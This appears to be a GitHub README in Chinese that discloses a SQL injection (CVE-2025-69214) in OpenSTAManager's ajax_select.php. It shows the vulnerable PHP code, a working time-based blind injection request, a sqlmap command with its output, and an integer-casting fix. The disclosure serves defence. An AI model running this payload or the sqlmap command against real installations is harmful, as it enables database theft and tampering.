lukasz-rybak/CVE-2025-69214

GitHub: lukasz-rybak/CVE-2025-69214

针对 OpenSTAManager SQL 注入漏洞的复现与验证工具。

Stars: 0 | Forks: 0

# CVE-2025-69214:OpenSTAManager 的 ajax_select.php(componenti 端点)存在 SQL 注入 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2025-69214](https://nvd.nist.gov/vuln/detail/CVE-2025-69214) | | **严重性** | 高危 | | **安全公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 受影响产品 - **devcode-it/openstamanager**(版本:<= 2.9.8) ## CWE 分类 - CWE-89:在 SQL 命令中未正确净化特殊元素(SQL 注入) ## 详情 ### 摘要 在处理 `componenti` 操作时,`ajax_select.php` 端点存在 SQL 注入漏洞。认证攻击者可通过 `options[matricola]` 参数注入恶意 SQL 代码。 ### 概念验证 #### 漏洞代码 **文件:** `modules/impianti/ajax/select.php:122-124` ``` case 'componenti': $impianti = $superselect['matricola']; if (!empty($impianti)) { $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')'; } ``` #### 数据流 1. **来源:** `$_GET['options']['matricola']` → `$superselect['matricola']` 2. **脆弱点:** 用户输入直接拼接到 `IN()` 子句中,未进行净化 3. **汇点:** 通过 AJAX 框架执行的查询 #### 利用方式 **手动 PoC(基于时间盲注):** ``` GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID= ``` image **SQLMap 利用:** ``` sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \ --cookie="PHPSESSID=" \ --dbms=MySQL \ --technique=T \ --level=3 \ --risk=3 ``` **SQLMap 输出:** ``` [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable Parameter: #1* (URI) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI back-end DBMS: MySQL >= 5.0.12 ``` image ## 影响 - **数据泄露:** 基于时间盲注的 SQL 注入可完全提取数据库 - **认证绕过:** 可访问敏感组件与设备数据 - **数据篡改:** 可能未经授权修改记录 ## 修复建议 在使用前将值强制转换为整数: **修改前:** ``` $impianti = $superselect['matricola']; if (!empty($impianti)) { $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')'; } ``` **修改后:** ``` $impianti = $superselect['matricola']; if (!empty($impianti)) { $ids = array_map('intval', explode(',', $impianti)); $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')'; } ``` ## 致谢 发现者:Łukasz Rybak ## 参考链接 - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m - https://nvd.nist.gov/vuln/detail/CVE-2025-69214 - https://github.com/advisories/GHSA-qjv8-63xq-gq8m ## 免责声明 本 CVE 遵循协调漏洞披露流程进行负责任披露。此处提供的信息仅用于教育与防御目的。
标签:ajax_select.php, componenti endpoint, CVE-2025-69214, CWE-89, HTTP参数注入, IN子句注入, MySQL注入, OpenSTAManager, SQLMap, 前端安全, 时间盲注, 认证绕过, 输入验证缺失, 高危漏洞